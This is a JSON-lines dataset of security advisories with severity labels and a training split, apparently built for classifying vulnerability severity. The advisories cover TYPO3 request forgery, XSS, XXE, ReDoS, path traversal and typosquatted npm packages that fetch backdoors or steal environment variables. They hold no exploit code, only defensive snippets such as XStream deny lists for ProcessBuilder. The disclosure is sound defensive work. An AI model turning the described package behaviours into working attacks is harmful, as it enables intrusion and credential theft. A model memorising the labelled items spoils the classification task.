-{"id": "40f1b3d88f422a493cdc", "text": "Backend Same-Site Request Forgery in TYPO3 CMS\n\n### Problem\nIt has been discovered that backend user interface and install tool are vulnerable to same-origin request forgery. A backend user can be tricked into interacting with a malicious resource an attacker previously managed to upload to the web server - scripts are then executed with the privileges of the victims' user session.\n\nIn a worst case scenario new admin users can be created which can directly be used by an attacker. The vulnerability is basically a cross-site request forgery (CSRF) triggered by a cross-site scripting vulnerability (XSS) - but happens on the same target host - thus, it’s actually a same-origin request forgery.\n\nMalicious payload such as HTML containing JavaScript might be provided by either an authenticated backend user or by a non-authenticated user using a 3rd party extension - e.g. file upload in a contact form with knowing the target location.\n\nThe attacked victim requires an active and valid backend or install tool user sessions at the time of the attack to be successful.\n\n### Solution\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that mitigates the problem described.\n\n### Additional Considerations\n\nThe deployment of additional mitigation techniques is suggested as described below.\n\n#### Sudo Mode Extension\n\nThis TYPO3 extension intercepts modifications to security relevant database tables, e.g. those storing user accounts or storages of the file abstraction layer. Modifications need to confirmed by again by the acting user with providing their password again - this technique is known as \"sudo mode\". This way unintended actions happening in the background can be mitigated.\n\n* https://github.com/FriendsOfTYPO3/sudo-mode\n* https://extensions.typo3.org/extension/sudo_mode\n\n#### Content Security Policy\n\n[Content Security Policies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) tell (modern) browsers how resources served a particular site are handled - it also it possible to disallow script executions for specific locations. In a TYPO3 context it is suggested to disallow direct script execution at least for locations `/fileadmin/` and `/uploads/`.\n\n```\n# in fileadmin/.htaccess\n<IfModule mod_headers.c>\n\tHeader add Content-Security-Policy \"default-src 'self'; script-src 'none';\"\n</IfModule>\n```\n\n### Credits\nThanks to Matteo Bonaker who reported this issue and to TYPO3 security team member Oliver Hader who fixed the issue.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-006", "text_raw": "Backend Same-Site Request Forgery in TYPO3 CMS\n\n[Severity: HIGH]\n\n> ### Meta\n> * CVSS v3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C\n> * CWE-352\n> * CWE-346\n\n### Problem\nIt has been discovered that backend user interface and install tool are vulnerable to same-origin request forgery. A backend user can be tricked into interacting with a malicious resource an attacker previously managed to upload to the web server - scripts are then executed with the privileges of the victims' user session.\n\nIn a worst case scenario new admin users can be created which can directly be used by an attacker. The vulnerability is basically a cross-site request forgery (CSRF) triggered by a cross-site scripting vulnerability (XSS) - but happens on the same target host - thus, it’s actually a same-origin request forgery.\n\nMalicious payload such as HTML containing JavaScript might be provided by either an authenticated backend user or by a non-authenticated user using a 3rd party extension - e.g. file upload in a contact form with knowing the target location.\n\nThe attacked victim requires an active and valid backend or install tool user sessions at the time of the attack to be successful.\n\n### Solution\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that mitigates the problem described.\n\n### Additional Considerations\n\nThe deployment of additional mitigation techniques is suggested as described below.\n\n#### Sudo Mode Extension\n\nThis TYPO3 extension intercepts modifications to security relevant database tables, e.g. those storing user accounts or storages of the file abstraction layer. Modifications need to confirmed by again by the acting user with providing their password again - this technique is known as \"sudo mode\". This way unintended actions happening in the background can be mitigated.\n\n* https://github.com/FriendsOfTYPO3/sudo-mode\n* https://extensions.typo3.org/extension/sudo_mode\n\n#### Content Security Policy\n\n[Content Security Policies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) tell (modern) browsers how resources served a particular site are handled - it also it possible to disallow script executions for specific locations. In a TYPO3 context it is suggested to disallow direct script execution at least for locations `/fileadmin/` and `/uploads/`.\n\n```\n# in fileadmin/.htaccess\n<IfModule mod_headers.c>\n\tHeader add Content-Security-Policy \"default-src 'self'; script-src 'none';\"\n</IfModule>\n```\n\n### Credits\nThanks to Matteo Bonaker who reported this issue and to TYPO3 security team member Oliver Hader who fixed the issue.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-006", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "49e0807865850468428e", "text": "markdown2 is vulnerable to cross-site scripting\n\nAn issue was discovered in `markdown2` (aka python-markdown2) through 2.3.5. The `safe_mode` feature, which is supposed to sanitize user input against XSS, is flawed and does not escape the input properly. With a crafted payload, XSS can be triggered, as demonstrated by omitting the final `>` character from an IMG tag.", "text_raw": "markdown2 is vulnerable to cross-site scripting\n\n[Severity: MEDIUM]\n\nAn issue was discovered in `markdown2` (aka python-markdown2) through 2.3.5. The `safe_mode` feature, which is supposed to sanitize user input against XSS, is flawed and does not escape the input properly. With a crafted payload, XSS can be triggered, as demonstrated by omitting the final `>` character from an IMG tag.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "1069fc574147ad878b8f", "text": "Use of Uninitialized Resource in libp2p-deflate\n\nAn issue was discovered in the libp2p-deflate crate before 0.27.1 for Rust. An uninitialized buffer is passed to AsyncRead::poll_read(), which is a user-provided trait function.", "text_raw": "Use of Uninitialized Resource in libp2p-deflate\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the libp2p-deflate crate before 0.27.1 for Rust. An uninitialized buffer is passed to AsyncRead::poll_read(), which is a user-provided trait function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "fa9b7ceae3ddacd9c8d6", "text": "cross-env.js is malware\n\nThe `cross-env.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "cross-env.js is malware\n\n[Severity: MEDIUM]\n\nThe `cross-env.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3cb563805083528e2159", "text": "Injection vulnerability that affects ironic-discoverd\n\nOpenStack Ironic Inspector (aka ironic-inspector or ironic-discoverd), when debug mode is enabled, might allow remote attackers to access the Flask console and execute arbitrary Python code by triggering an error.", "text_raw": "Injection vulnerability that affects ironic-discoverd\n\n[Severity: CRITICAL]\n\nOpenStack Ironic Inspector (aka ironic-inspector or ironic-discoverd), when debug mode is enabled, might allow remote attackers to access the Flask console and execute arbitrary Python code by triggering an error.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "f769a1c514b63331f769", "text": "Malicious Package in colro-name\n\nVersion 9.0.0 of `colro-name` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in colro-name\n\n[Severity: CRITICAL]\n\nVersion 9.0.0 of `colro-name` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "76af2c865d81825b61a7", "text": "Malicious Package in logsymbles\n\nVersion 2.2.0 of `logsymbles` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in logsymbles\n\n[Severity: CRITICAL]\n\nVersion 2.2.0 of `logsymbles` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "5fd9bbcb5065491952bf", "text": "MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability", "text_raw": "MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-08-07", "split": "train"}
-{"id": "4629db60f5427a1b486e", "text": "Malicious Package in qingting\n\nAll versions of `qingting` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in qingting\n\n[Severity: CRITICAL]\n\nAll versions of `qingting` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "470183bd18e52daca032", "text": "Insight API transaction broadcast endpoint can result in Full Path Disclosure\n\nBitpay/insight-api Insight-api version 5.0.0 and earlier contains a CWE-20: input validation vulnerability in transaction broadcast endpoint that can result in Full Path Disclosure. This attack appear to be exploitable via Web request.", "text_raw": "Insight API transaction broadcast endpoint can result in Full Path Disclosure\n\n[Severity: MEDIUM]\n\nBitpay/insight-api Insight-api version 5.0.0 and earlier contains a CWE-20: input validation vulnerability in transaction broadcast endpoint that can result in Full Path Disclosure. This attack appear to be exploitable via Web request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "63cfe04821000ec9c2c1", "text": "RSA weakness in tslite-ng\n\n### Impact\nThe code that performs decryption and padding check in RSA PKCS#1 v1.5 decryption is data dependant.\nIn particular, code in current (as of 0.8.0-alpha38) master\nhttps://github.com/tlsfuzzer/tlslite-ng/blob/0812ed60860fa61a6573b2c0e18771414958f46d/tlslite/utils/rsakey.py#L407-L441\nand code in 0.7.5 branch\nhttps://github.com/tlsfuzzer/tlslite-ng/blob/acdde3161124d6ae37c506b3476aea9996d12e97/tlslite/utils/rsakey.py#L394-L425\nhas multiple ways in which it leaks information (for one, it aborts as soon as the plaintext doesn't start with 0x00, 0x02) about the decrypted ciphertext (both the bit length of the decrypted message as well as where the first unexpected byte lays).\n\nAll TLS servers that enable RSA key exchange as well as applications that use the RSA decryption API directly are vulnerable.\n\nAll previous versions of tlslite-ng are vulnerable.\n\n### Patches\nThe patches to fix it are proposed in \nhttps://github.com/tlsfuzzer/tlslite-ng/pull/438\nhttps://github.com/tlsfuzzer/tlslite-ng/pull/439\n\nNote: the patches depend on Python processing the individual bytes in side-channel free manner, this is known to not be the case: https://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python/\nAs such, users that require side-channel resistance are recommended to use different TLS implementations, as stated in the [security policy](https://github.com/tlsfuzzer/tlslite-ng/blob/master/SECURITY.md) of tlslite-ng.\n\n### Workarounds\nThere is no way to workaround this issue.\n\n### References\nhttps://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python/\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in [tlslite-ng](https://github.com/tlsfuzzer/tlslite-ng/issues).", "text_raw": "RSA weakness in tslite-ng\n\n[Severity: HIGH]\n\n### Impact\nThe code that performs decryption and padding check in RSA PKCS#1 v1.5 decryption is data dependant.\nIn particular, code in current (as of 0.8.0-alpha38) master\nhttps://github.com/tlsfuzzer/tlslite-ng/blob/0812ed60860fa61a6573b2c0e18771414958f46d/tlslite/utils/rsakey.py#L407-L441\nand code in 0.7.5 branch\nhttps://github.com/tlsfuzzer/tlslite-ng/blob/acdde3161124d6ae37c506b3476aea9996d12e97/tlslite/utils/rsakey.py#L394-L425\nhas multiple ways in which it leaks information (for one, it aborts as soon as the plaintext doesn't start with 0x00, 0x02) about the decrypted ciphertext (both the bit length of the decrypted message as well as where the first unexpected byte lays).\n\nAll TLS servers that enable RSA key exchange as well as applications that use the RSA decryption API directly are vulnerable.\n\nAll previous versions of tlslite-ng are vulnerable.\n\n### Patches\nThe patches to fix it are proposed in \nhttps://github.com/tlsfuzzer/tlslite-ng/pull/438\nhttps://github.com/tlsfuzzer/tlslite-ng/pull/439\n\nNote: the patches depend on Python processing the individual bytes in side-channel free manner, this is known to not be the case: https://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python/\nAs such, users that require side-channel resistance are recommended to use different TLS implementations, as stated in the [security policy](https://github.com/tlsfuzzer/tlslite-ng/blob/master/SECURITY.md) of tlslite-ng.\n\n### Workarounds\nThere is no way to workaround this issue.\n\n### References\nhttps://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python/\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in [tlslite-ng](https://github.com/tlsfuzzer/tlslite-ng/issues).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "11a7c80de1d3f21b1ade", "text": "private_address_check contains race condition\n\nThe private_address_check ruby gem before 0.5.0 is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to the address the socket uses not being checked. DNS entries with a TTL of 0 can trigger this case where the initial resolution is a public address but the subsequent resolution is a private address.", "text_raw": "private_address_check contains race condition\n\n[Severity: HIGH]\n\nThe private_address_check ruby gem before 0.5.0 is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to the address the socket uses not being checked. DNS entries with a TTL of 0 can trigger this case where the initial resolution is a public address but the subsequent resolution is a private address.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "0e890e08dc03c1a4e62f", "text": "Failure to validate certificates in OPC Foundation UA Client Applications communicating without security allows attackers with control over a piece of network infrastructure to decrypt passwords.", "text_raw": "Moderate severity vulnerability that affects OPCFoundation.NetStandard.Opc.Ua\n\n[Severity: MEDIUM]\n\nFailure to validate certificates in OPC Foundation UA Client Applications communicating without security allows attackers with control over a piece of network infrastructure to decrypt passwords.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "542b3aac422dd9b14e6a", "text": "exist-db:exist-core XML External Entity (XXE) vulnerability\n\nexist version <= 5.0.0-RC4 contains a XML External Entity (XXE) vulnerability in XML Parser for REST Server that can result in Disclosure of confidential data, denial of service, SSRF, port scanning.", "text_raw": "exist-db:exist-core XML External Entity (XXE) vulnerability\n\n[Severity: CRITICAL]\n\nexist version <= 5.0.0-RC4 contains a XML External Entity (XXE) vulnerability in XML Parser for REST Server that can result in Disclosure of confidential data, denial of service, SSRF, port scanning.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "3fe5c4193dbf0ad1ad48", "text": "In the Bouncy Castle JCE Provider version 1.55 and earlier the DHIES/ECIES CBC mode vulnerable to padding oracle attack. For BC 1.55 and older, in an environment where timings can be easily observed, it is possible with enough observations to identify when the decryption is failing due to padding.", "text_raw": "Moderate severity vulnerability that affects org.bouncycastle:bcprov-jdk14 and org.bouncycastle:bcprov-jdk15\n\n[Severity: MEDIUM]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the DHIES/ECIES CBC mode vulnerable to padding oracle attack. For BC 1.55 and older, in an environment where timings can be easily observed, it is possible with enough observations to identify when the decryption is failing due to padding.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "c3507ee0b37b25d5944c", "text": "Denial of service (via resource exhaustion) due to improper input validation on third-party identifier endpoints\n\n### Impact\nMissing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion.\n\n### Patches\nThe issue is fixed by #9321.\n\n### Workarounds\nDepending on the needs and configuration of the homeserver a few options are available:\n\n1. Using email as third-party identifiers be disabled by not configuring the `email` setting.\n2. Using phone numbers as third-party identifiers can be disabled by ensuring that `account_threepid_delegates.msisdn` is not configured.\n3. Additionally, the affected endpoint patterns can be blocked at a reverse proxy:\n\n* `^/_matrix/client/(r0|unstable)/register/email`\n    * `^/_matrix/client/(r0|unstable)/register/msisdn`\n    * `^/_matrix/client/(r0|unstable)/account/password`\n    * `^/_matrix/client/(r0|unstable)/account/3pid`", "text_raw": "Denial of service (via resource exhaustion) due to improper input validation on third-party identifier endpoints\n\n[Severity: MEDIUM]\n\n### Impact\nMissing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion.\n\n### Patches\nThe issue is fixed by #9321.\n\n### Workarounds\nDepending on the needs and configuration of the homeserver a few options are available:\n\n1. Using email as third-party identifiers be disabled by not configuring the `email` setting.\n2. Using phone numbers as third-party identifiers can be disabled by ensuring that `account_threepid_delegates.msisdn` is not configured.\n3. Additionally, the affected endpoint patterns can be blocked at a reverse proxy:\n\n    * `^/_matrix/client/(r0|unstable)/register/email`\n    * `^/_matrix/client/(r0|unstable)/register/msisdn`\n    * `^/_matrix/client/(r0|unstable)/account/password`\n    * `^/_matrix/client/(r0|unstable)/account/3pid`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "f6ecf2be1b07655357eb", "text": "In Apache JSPWiki 2.9.0 to 2.11.0.M2, a carefully crafted URL could execute javascript on another user's session. No information could be saved on the server or jspwiki database, nor would an attacker be able to execute js on someone else's browser; only on its own browser.", "text_raw": "Moderate severity vulnerability that affects org.apache.jspwiki:jspwiki-main\n\n[Severity: MEDIUM]\n\nIn Apache JSPWiki 2.9.0 to 2.11.0.M2, a carefully crafted URL could execute javascript on another user's session. No information could be saved on the server or jspwiki database, nor would an attacker be able to execute js on someone else's browser; only on its own browser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-02", "split": "train"}
-{"id": "e7bcf30b8ec4e53a9b9b", "text": "Downloads Resources over HTTP in npm-test-sqlite3-trunk\n\nAffected versions of `npm-test-sqlite3-trunk` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `npm-test-sqlite3-trunk`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in npm-test-sqlite3-trunk\n\n[Severity: HIGH]\n\nAffected versions of `npm-test-sqlite3-trunk` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `npm-test-sqlite3-trunk`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "321245129f536e89bc50", "text": "DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities", "text_raw": "DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-04-03", "split": "train"}
-{"id": "aedce2ffa1cdcc4b7865", "text": "XStream can be used for Remote Code Execution\n\n### Impact\nThe vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.14.\n\n### Workarounds\nNo user is affected, who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability.\n\nUsers of XStream 1.4.13 or below who still want to use XStream default blacklist can use a workaround depending on their version in use.\n\nUsers of XStream 1.4.13 can simply add two lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });\n```\nUsers of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: _javax.imageio.ImageIO$ContainsFilter_, _java.beans.EventHandler_, _java.lang.ProcessBuilder_, _java.lang.Void_ and _void_.\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });\n```\nUsers of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:\n```Java\nxstream.registerConverter(new Converter() {\n  public boolean canConvert(Class type) {\n    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals(\"javax.imageio.ImageIO$ContainsFilter\") || Proxy.isProxy(type));\n  }\n\npublic Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n\npublic void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n}, XStream.PRIORITY_LOW);\n```\n\n### Credits\nChen L found and reported the issue to XStream and provided the required information to reproduce it.  He was supported by Zhihong Tian and Hui Lu, both from Guangzhou University.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2020-26217](https://x-stream.github.io/CVE-2020-26217.html).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream can be used for Remote Code Execution\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.14.\n\n### Workarounds\nNo user is affected, who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability.\n\nUsers of XStream 1.4.13 or below who still want to use XStream default blacklist can use a workaround depending on their version in use.\n\nUsers of XStream 1.4.13 can simply add two lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });\n```\nUsers of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: _javax.imageio.ImageIO$ContainsFilter_, _java.beans.EventHandler_, _java.lang.ProcessBuilder_, _java.lang.Void_ and _void_.\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });\n```\nUsers of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:\n```Java\nxstream.registerConverter(new Converter() {\n  public boolean canConvert(Class type) {\n    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals(\"javax.imageio.ImageIO$ContainsFilter\") || Proxy.isProxy(type));\n  }\n\n  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n\n  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n}, XStream.PRIORITY_LOW);\n```\n\n### Credits\nChen L found and reported the issue to XStream and provided the required information to reproduce it.  He was supported by Zhihong Tian and Hui Lu, both from Guangzhou University.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2020-26217](https://x-stream.github.io/CVE-2020-26217.html).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-16", "split": "train"}
-{"id": "bf4db67955085d0d6819", "text": "Path Traversal in statichttpserver\n\nAll versions of `statichttpserver` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Path Traversal in statichttpserver\n\n[Severity: MEDIUM]\n\nAll versions of `statichttpserver` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-04", "split": "train"}
-{"id": "78d6ee38968ca88623aa", "text": "Malicious Package in reques\n\nAll versions of `reques` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in reques\n\n[Severity: CRITICAL]\n\nAll versions of `reques` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "2badf58ae99a2e8416cf", "text": "Deserialization of Untrusted Data in bson\n\nAll versions of bson before 1.1.4 are vulnerable to Deserialization of Untrusted Data. The package will ignore an unknown value for an object's _bsontype, leading to cases where an object is serialized as a document rather than the intended BSON type.", "text_raw": "Deserialization of Untrusted Data in bson\n\n[Severity: CRITICAL]\n\nAll versions of bson before 1.1.4 are vulnerable to Deserialization of Untrusted Data. The package will ignore an unknown value for an object's _bsontype, leading to cases where an object is serialized as a document rather than the intended BSON type.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "154cfaa311191e2abc57", "text": "Incorrect Regular Expression in RestSharp\n\nRestSharp < 106.11.8-alpha.0.13 uses a regular expression which is vulnerable to Regular Expression Denial of Service (ReDoS) when converting strings into DateTimes. If a server responds with a malicious string, the client using RestSharp will be stuck processing it for an exceedingly long time. Thus the remote server can trigger Denial of Service.", "text_raw": "Incorrect Regular Expression in RestSharp\n\n[Severity: HIGH]\n\nRestSharp < 106.11.8-alpha.0.13 uses a regular expression which is vulnerable to Regular Expression Denial of Service (ReDoS) when converting strings into DateTimes. If a server responds with a malicious string, the client using RestSharp will be stuck processing it for an exceedingly long time. Thus the remote server can trigger Denial of Service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-14", "split": "train"}
